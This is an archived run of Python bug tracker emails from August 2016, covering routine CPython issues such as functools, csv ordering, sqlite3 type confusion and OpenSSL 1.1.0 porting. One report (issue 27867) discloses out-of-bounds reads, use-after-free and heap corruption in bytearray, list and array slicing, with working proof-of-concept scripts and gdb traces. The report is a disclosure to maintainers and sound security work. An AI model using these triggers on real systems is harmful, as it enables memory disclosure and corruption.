to this details it may be not worth to add it as a recipe. Sorry YoSTEALTH, I concur with Serhiy on both points and am going to pass on this proposal. That said, I encourage you to post elsewhere. When my own ideas don't make it to the docs or standard library, I usually post a recipe in the ASPN Python Cookbook (for example, see https://code.activestate.com/recipes/users/178123/ ). ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 23:24:01 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 03:24:01 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472181841.66.0.758671524487.issue27858@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 23:24:53 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 03:24:53 +0000 Subject: [issue27833] Process is locked when try to execute Queue.put() inside In-Reply-To: <1471942613.74.0.630952786652.issue27833@psf.upfronthosting.co.za> Message-ID: <1472181893.39.0.0775108806069.issue27833@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Davin, what are your thoughts? ---------- assignee: -> davin nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 23:27:51 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 03:27:51 +0000 Subject: [issue27840] functools.partial: don't copy keywoard arguments in partial_call()? In-Reply-To: <1471962843.41.0.64844621448.issue27840@psf.upfronthosting.co.za> Message-ID: <1472182071.18.0.60096413308.issue27840@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I concur with Antoine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 23:30:14 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 03:30:14 +0000 Subject: [issue19504] Change "customise" to "customize". In-Reply-To: <1383659200.62.0.979344465483.issue19504@psf.upfronthosting.co.za> Message-ID: <1472182214.03.0.117896040679.issue19504@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 00:12:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 26 Aug 2016 04:12:31 +0000 Subject: [issue19504] Change "customise" to "customize". In-Reply-To: <1383659200.62.0.979344465483.issue19504@psf.upfronthosting.co.za> Message-ID: <20160826041221.27150.45670.1D70DC7D@psf.io> Roundup Robot added the comment: New changeset 579360b1c8fe by Raymond Hettinger in branch '3.5': Issue 19504: Change "customise" to "customize" American spelling. https://hg.python.org/cpython/rev/579360b1c8fe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 00:13:00 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 04:13:00 +0000 Subject: [issue19504] Change "customise" to "customize". In-Reply-To: <1383659200.62.0.979344465483.issue19504@psf.upfronthosting.co.za> Message-ID: <1472184780.57.0.257326011115.issue19504@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks for the patch. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 00:16:54 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 04:16:54 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1471970562.41.0.180278117892.issue27842@psf.upfronthosting.co.za> Message-ID: <1472185014.68.0.889765058981.issue27842@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Consider using itertools.permutations() to generate the 120 cases cases. The news entry goes into Misc/NEWS (there is not .txt extension). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 02:05:28 2016 From: report at bugs.python.org (Steve Holden) Date: Fri, 26 Aug 2016 06:05:28 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1472185014.68.0.889765058981.issue27842@psf.upfronthosting.co.za> Message-ID: <14C2DF41-47B4-4295-A980-231A28BB272F@holdenweb.com> Steve Holden added the comment: Is there another way? :) Sent from my iPhone > On 26 Aug 2016, at 12:16, Raymond Hettinger wrote: > > > Raymond Hettinger added the comment: > > Consider using itertools.permutations() to generate the 120 cases cases. > > The news entry goes into Misc/NEWS (there is not .txt extension). > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 02:12:36 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 06:12:36 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472191956.68.0.395347161532.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: For the first issue, the doc says: The cursor method accepts a single optional parameter cursorClass. If supplied, this must be a custom cursor class that extends sqlite3.Cursor. So I think we should check the type and then raise TypeError. For the second issue, it seems it just hits the Py_CLEAR comments. issue27861 tries to fix this. Besides, it also alters Connection.cursor's doc since it now does not reflects the implementation. ---------- keywords: +patch nosy: +xiang.zhang Added file: https://bugs.python.org/file44227/issue27861.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 02:12:51 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 06:12:51 +0000 Subject: [issue27863] multiple issues in _elementtree module In-Reply-To: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> Message-ID: <1472191971.94.0.723890438957.issue27863@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 05:36:20 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 26 Aug 2016 09:36:20 +0000 Subject: [issue27840] functools.partial: don't copy keywoard arguments in partial_call()? In-Reply-To: <1472182071.18.0.60096413308.issue27840@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Ah yes sorry, I misunderstood the link between kwargs from a C function and a PY function. The link is simple, it's the same object :-) This issue can be closed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 05:49:01 2016 From: report at bugs.python.org (Upendra Kumar) Date: Fri, 26 Aug 2016 09:49:01 +0000 Subject: [issue27051] Create PIP gui In-Reply-To: <1463550469.55.0.680424350053.issue27051@psf.upfronthosting.co.za> Message-ID: <1472204941.57.0.163167014044.issue27051@psf.upfronthosting.co.za> Upendra Kumar added the comment: I facing problems in running the GUI application with root or elevated privileges. I earlier used gksudo for linux. It turns out be a not very general solution as all linux distros don't have gksudo. Therefore, how to manage user permissions or group permissions. I want my program to run temporarirly with elevated permissions in order to install, update or uninstall python packages. I am using subprocess. Is it possible to run subprocess with elevated privileges and again reset the permissions when the shell process ends? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 05:57:09 2016 From: report at bugs.python.org (Upendra Kumar) Date: Fri, 26 Aug 2016 09:57:09 +0000 Subject: [issue27051] Create PIP gui In-Reply-To: <1463550469.55.0.680424350053.issue27051@psf.upfronthosting.co.za> Message-ID: <1472205429.64.0.612101791733.issue27051@psf.upfronthosting.co.za> Upendra Kumar added the comment: Can I somehow change the setup.py script such that I can create a new set of (group, user) with specific privileges only needed for installation and uninstallation. Once a new set of (group, user) is created, I can always do os.setgid(gid) and os.setuid(uid) But, I can't figure out how to change setup.py to create a new set of permissions during installation. It should be possible because at time of installation setup.py runs with sudo privileges. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 06:51:10 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 10:51:10 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472208670.46.0.916376983619.issue27861@psf.upfronthosting.co.za> Berker Peksag added the comment: Please split issue27861.patch into two patches. It would be better if isolation_level wouldn't accept values other than None, "" (empty string), "deferred", "immediate", "exclusive". ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 07:15:03 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 11:15:03 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472210103.63.0.484527462075.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: I considered that but don't why decide to preserve it. But now that you mention it, I'll do that later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 07:16:29 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 11:16:29 +0000 Subject: [issue27768] ssl: get CPU cap flags for AESNI and PCLMULQDQ In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472210189.57.0.642372532339.issue27768@psf.upfronthosting.co.za> Christian Heimes added the comment: GPS, I no longer want a general API for CPU cap vector. The ssl module and 3rd party packages are only interested in two properties of the current hardware: are AESNI and PCLMULQDQ instructions available and enabled. I'm pretty sure ctypes won't work on Windows and OSX. The OpenSSL libraries are statically linked into the _ssl binary. The linker optimizer removes all functions that are not used. Somebody could give it a try, though. ---------- title: ssl: add public API for IA-32 processor capabilities vector -> ssl: get CPU cap flags for AESNI and PCLMULQDQ _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 07:29:14 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 11:29:14 +0000 Subject: [issue27866] ssl: get list of enabled ciphers Message-ID: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za> New submission from Christian Heimes: SSLContext has a set_ciphers() method but no method to get the actual list of enabled ciphers. https://github.com/tiran/cpython/tree/feature/openssl_ciphers implements get_ciphers() >>> import ssl, pprint >>> ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) >>> ctx.set_ciphers('ECDHE+AESGCM:!ECDSA') >>> pprint.pprint(ctx.get_ciphers()) [{'alg_bits': 256, 'description': 'ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA ' 'Enc=AESGCM(256) Mac=AEAD', 'id': 50380848, 'name': 'ECDHE-RSA-AES256-GCM-SHA384', 'protocol': 'TLSv1/SSLv3', 'strength_bits': 256}, {'alg_bits': 128, 'description': 'ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA ' 'Enc=AESGCM(128) Mac=AEAD', 'id': 50380847, 'name': 'ECDHE-RSA-AES128-GCM-SHA256', 'protocol': 'TLSv1/SSLv3', 'strength_bits': 128}] With OpenSSL 1.1 the dict will have more fields. Both the return value and functionality is different to https://docs.python.org/3/library/ssl.html#ssl.SSLSocket.shared_ciphers . ---------- components: Library (Lib) messages: 273703 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen priority: normal severity: normal status: open title: ssl: get list of enabled ciphers type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 08:40:10 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 12:40:10 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472215210.14.0.258247883929.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: issue27861_conn_cursor.patch tries to solve the first issue. ---------- Added file: https://bugs.python.org/file44228/issue27861_conn_cursor.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:15:29 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:15:29 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217329.45.0.400013171109.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: https://bugs.python.org/file44229/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:15:48 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:15:48 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217348.68.0.932641795921.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: https://bugs.python.org/file44230/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:16:10 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:16:10 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217370.51.0.748609043678.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: https://bugs.python.org/file44231/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:16:24 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:16:24 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217384.94.0.438314609842.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: https://bugs.python.org/file44037/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:16:32 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:16:32 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217392.13.0.966523759994.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: https://bugs.python.org/file44038/Port-Python-s-SSL-module-to-OpenSSL-1.1.0.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:16:41 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:16:41 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217401.36.0.821455058.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: https://bugs.python.org/file44048/Port-Python-s-SSL-module-to-OpenSSL-1.1.0-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:16:53 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:16:53 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217413.89.0.76357056878.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: https://bugs.python.org/file44230/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:17:04 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:17:04 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217424.7.0.931795354245.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: https://bugs.python.org/file44229/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:17:28 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:17:28 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472217447.99.0.647592040169.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: https://bugs.python.org/file44232/Port-Python-s-SSL-module-to-OpenSSL-1.1.0-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:31:38 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 26 Aug 2016 13:31:38 +0000 Subject: [issue27840] functools.partial: don't copy keywoard arguments in partial_call()? In-Reply-To: <1471962843.41.0.64844621448.issue27840@psf.upfronthosting.co.za> Message-ID: <1472218298.41.0.264452535609.issue27840@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 09:46:54 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 26 Aug 2016 13:46:54 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472219214.53.0.150176300079.issue27850@psf.upfronthosting.co.za> Christian Heimes added the comment: Patch for 3DES and ChaCha20 (#27766). For ChaCha the patch does not check CPU cap vector and just follows the advice from https://wiki.mozilla.org/Security/Server_Side_TLS#Modern_compatibility ---------- keywords: +patch Added file: https://bugs.python.org/file44233/Remove-3DES-from-and-add-ChaCha20-Poly1305-to-cipher.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 10:18:41 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Fri, 26 Aug 2016 14:18:41 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472221121.12.0.0773398891372.issue26470@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: There are still quite a few references to `PROTOCOL_SSLv23` in Doc/library/ssl.rst. Should they be updated as well? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 10:35:42 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 14:35:42 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472222142.75.0.0575457612532.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: issue27861_conn_isolation_level.patch now adds argument type and value check along with eliminating the potential sf. ---------- Added file: https://bugs.python.org/file44234/issue27861_conn_isolation_level.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 11:51:25 2016 From: report at bugs.python.org (tehybel) Date: Fri, 26 Aug 2016 15:51:25 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx Message-ID: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> New submission from tehybel: Here I will describe 6 issues with various core objects (bytearray, list) and the array module. Common to them all is that they arise due to a misuse of the function PySlice_GetIndicesEx. This type of issue results in out-of-bounds array indexing which leads to memory disclosure, use-after-frees or memory corruption, depending on the circumstances. For each issue I've attached a proof-of-concept script which either prints leaked heap memory or segfaults on my machine (64-bit linux, --with-pydebug, python 3.5.2). Issue 1: out-of-bounds indexing when taking a bytearray's subscript While taking the subscript of a bytearray, the function bytearray_subscript in /Objects/bytearrayobject.c calls PySlice_GetIndicesEx to validate the given indices. Some of these indices might be objects with an __index__ method, and thus PySlice_GetIndicesEx could call back into python code. If the evaluation of the indices modifies the bytearray, the indices might no longer be safe, despite PySlice_GetIndicesEx saying so. Here is a PoC which lets us read out 64 bytes of uninitialized memory from the heap: --- class X: def __index__(self): b[:] = [] return 1 b = bytearray(b"A"*0x1000) print(b[0:64:X()]) --- Here's the result on my system: $ ./python poc17.py bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xce\x86\x9ff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') Issue 2: memory corruption in bytearray_ass_subscript This issue is similar to the one above. The problem exists when assigning to a bytearray via subscripting. The relevant function is bytearray_ass_subscript. The relevant line is again the one calling PySlice_GetIndicesEx. Here's a PoC which leads to memory corruption of the heap: --- class X: def __index__(self): del b[0:0x10000] return 1 b = bytearray(b"A"*0x10000) b[0:0x8000:X()] = bytearray(b"B"*0x8000) --- Here's the result of running it: (gdb) r poc20.py Program received signal SIGSEGV, Segmentation fault. PyCFunction_NewEx (ml=0x8b4140 , self=self at entry=0x7ffff7f0e898, module=module at entry=0x0) at Objects/methodobject.c:31 31 free_list = (PyCFunctionObject *)(op->m_self); (gdb) p op $13 = (PyCFunctionObject *) 0x4242424242424242 Issue 3: use-after-free when taking the subscript of a list This issue is similar to the one above, but it occurs when taking the subscript of a list rather than a bytearray. The relevant code is in list_subscript which exists in /Objects/listobject.c. Here's a PoC: --- class X: def __index__(self): b[:] = [1, 2, 3] return 2 b = [123]*0x1000 print(b[0:64:X()]) --- It results in a segfault here because of a use-after-free: (gdb) run ./poc18.py Program received signal SIGSEGV, Segmentation fault. 0x0000000000483553 in list_subscript (self=0x7ffff6d53988, item=) at Objects/listobject.c:2441 2441 Py_INCREF(it); (gdb) p it $2 = (PyObject *) 0xfbfbfbfbfbfbfbfb Issue 4: use-after-free when assigning to a list via subscripting The same type of issue exists in list_ass_subscript where we assign to the list using a subscript. Here's a PoC which also results in a use-after-free: --- class X: def __index__(self): b[:] = [1, 2, 3] return 2 b = [123]*0x1000 b[0:64:X()] = [0]*32 --- (gdb) r poc19.py Program received signal SIGSEGV, Segmentation fault. 0x0000000000483393 in list_ass_subscript (self=, item=, value=) at Objects/listobject.c:2603 2603 Py_DECREF(garbage[i]); (gdb) p garbage[i] $4 = (PyObject *) 0xfbfbfbfbfbfbfbfb Issue 5: out-of-bounds indexing in array_subscr Same type of issue. The problem is in the function array_subscr in /Modules/arraymodule.c. Here's a PoC which leaks and prints uninitialized memory from the heap: --- import array class X: def __index__(self): del a[:] a.append(2) return 1 a = array.array("b") for _ in range(0x10): a.append(1) print(a[0:0x10:X()]) --- And the result: $ ./python poc22.py array('b', [2, -53, -53, -53, -5, -5, -5, -5, -5, -5, -5, -5, 0, 0, 0, 0]) Issue 6: out-of-bounds indexing in array_ass_subscr Same type of issue, also in the array module. Here's a PoC which segfaults here: --- import array class X: def __index__(self): del a[:] return 1 a = array.array("b") a.frombytes(b"A"*0x100) del a[::X()] --- How should these be fixed? I would suggest that in each instance we could add a check after calling PySlice_GetIndicesEx. The check should validate that the "length" argument passed to PySlice_GetIndicesEx did not change during the call. But maybe there is a better way? (By the way: these issues might also exist in 2.7, I did not check.) ---------- components: Extension Modules, Interpreter Core messages: 273708 nosy: tehybel priority: normal severity: normal status: open title: various issues due to misuse of PySlice_GetIndicesEx versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 13:30:24 2016 From: report at bugs.python.org (Steve Holden) Date: Fri, 26 Aug 2016 17:30:24 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1471970562.41.0.180278117892.issue27842@psf.upfronthosting.co.za> Message-ID: <1472232624.91.0.949537164596.issue27842@psf.upfronthosting.co.za> Steve Holden added the comment: OK, here's what I think should be close to the final patch. I've updated the documentation, rebuilt it and verified it reads OK, and confirmed that the new code passes all tests except those skipped for platform reasons (I think they expect a Windows environment). This includes the new test to confirm that ordering is retained over all 120 possible combinations of five keys. Please let me know if any further updates are needed. ---------- Added file: https://bugs.python.org/file44235/csv_full.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 13:40:22 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 26 Aug 2016 17:40:22 +0000 Subject: [issue27051] Create PIP gui In-Reply-To: <1463550469.55.0.680424350053.issue27051@psf.upfronthosting.co.za> Message-ID: <1472233222.41.0.682660025342.issue27051@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I don't know anything about user permissions on *nix. There are people on python-list who should. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 13:54:26 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 26 Aug 2016 17:54:26 +0000 Subject: [issue27803] ctypes automatic byref failing on custom classes attributes In-Reply-To: <1471630297.02.0.563258836934.issue27803@psf.upfronthosting.co.za> Message-ID: <1472234066.54.0.935217361657.issue27803@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I ran the the following, which I don't understand, and therefore don't what should happen, on Win 10, 3.6.0a3. from ctypes import * from ctypes.wintypes import * class CustomPHKEY(object): def __init__(self, value): self._as_parameter_ = HKEY(value) function = windll.function function.argtypes = [POINTER(HKEY)] function.restype = LONG result = CustomPHKEY(0) function(result) Traceback (most recent call last): File "F:\Python\mypy\tem.py", line 8, in function = windll.function File "C:\Programs\Python36\lib\ctypes\__init__.py", line 417, in __getattr__ dll = self._dlltype(name) File "C:\Programs\Python36\lib\ctypes\__init__.py", line 347, in __init__ self._handle = _dlopen(self._name, mode) OSError: [WinError 126] The specified module could not be found ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 13:56:35 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 17:56:35 +0000 Subject: [issue27868] Unconditionally state when a build succeeds Message-ID: <1472234195.78.0.0298954008611.issue27868@psf.upfronthosting.co.za> New submission from Brett Cannon: When setup.py succeeds at building but couldn't build some dependency it says "Python build finished successfully!" and then lists the modules that couldn't be built. But if you are able to actually build everything then nothing is printed to stdout. Due to the fact that getting everything to build takes so much effort, when I finally reached the nirvana that is all modules built I thought my build had actually failed thanks to nothing being printed to stdout. It might be worth always printing out that the build succeeded no matter whether a extension module had issues being built or not. ---------- assignee: brett.cannon messages: 273712 nosy: brett.cannon priority: normal severity: normal stage: needs patch status: open title: Unconditionally state when a build succeeds versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 13:59:57 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 26 Aug 2016 17:59:57 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472234397.26.0.014581563984.issue27867@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +mark.dickinson, serhiy.storchaka stage: -> needs patch type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 14:03:12 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 26 Aug 2016 18:03:12 +0000 Subject: [issue27805] os.open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1472234592.6.0.932208670387.issue27805@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- stage: -> test needed title: In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE -> os.open('/dev/stdout', 'a') raises OSError with errno=ESPIPE type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 14:14:10 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 26 Aug 2016 18:14:10 +0000 Subject: [issue27051] Create PIP gui In-Reply-To: <1463550469.55.0.680424350053.issue27051@psf.upfronthosting.co.za> Message-ID: <1472235250.71.0.0222151131982.issue27051@psf.upfronthosting.co.za> R. David Murray added the comment: Something like gksudo would be what you would use to use this application to do a GUI install, but what specific program you use to get root for running a gui application does depend on the distribution. (For example, I'd use 'sux' to become root and then run it, on my system.) But in general no one should be running GUI PIP as root: for root installs you should be using the distribution package manager. That said, the standard way of "elevating privileges" in unix and mac is to use sudo. You'd just add 'sudo' to the front of the pip command string when you call POpen. But I'm not sure this is a feature that should be supported, since in interferes with system package management ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 14:40:37 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 18:40:37 +0000 Subject: [issue27869] test failures on Bash for Windows Message-ID: <1472236837.41.0.811658562373.issue27869@psf.upfronthosting.co.za> New submission from Brett Cannon: test_logging and test_socket seem to hang, and then there are 35 failures: test_asyncio test_asyncore test_dbm_dumb test_dbm_gnu test_eintr test_epoll test_faulthandler test_fcntl test_ftplib test_gettext test_httpservers test_import test_largefile test_mailbox test_mmap test_multiprocessing_fork test_multiprocessing_forkserver test_multiprocessing_main_handling test_multiprocessing_spawn test_netrc test_os test_pathlib test_pep277 test_posix test_resource test_shutil test_signal test_socketserver test_stat test_subprocess test_tarfile test_time test_unicode_file test_wsgiref test_zipfile ---------- components: Library (Lib), Windows messages: 273714 nosy: brett.cannon, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: test failures on Bash for Windows type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at 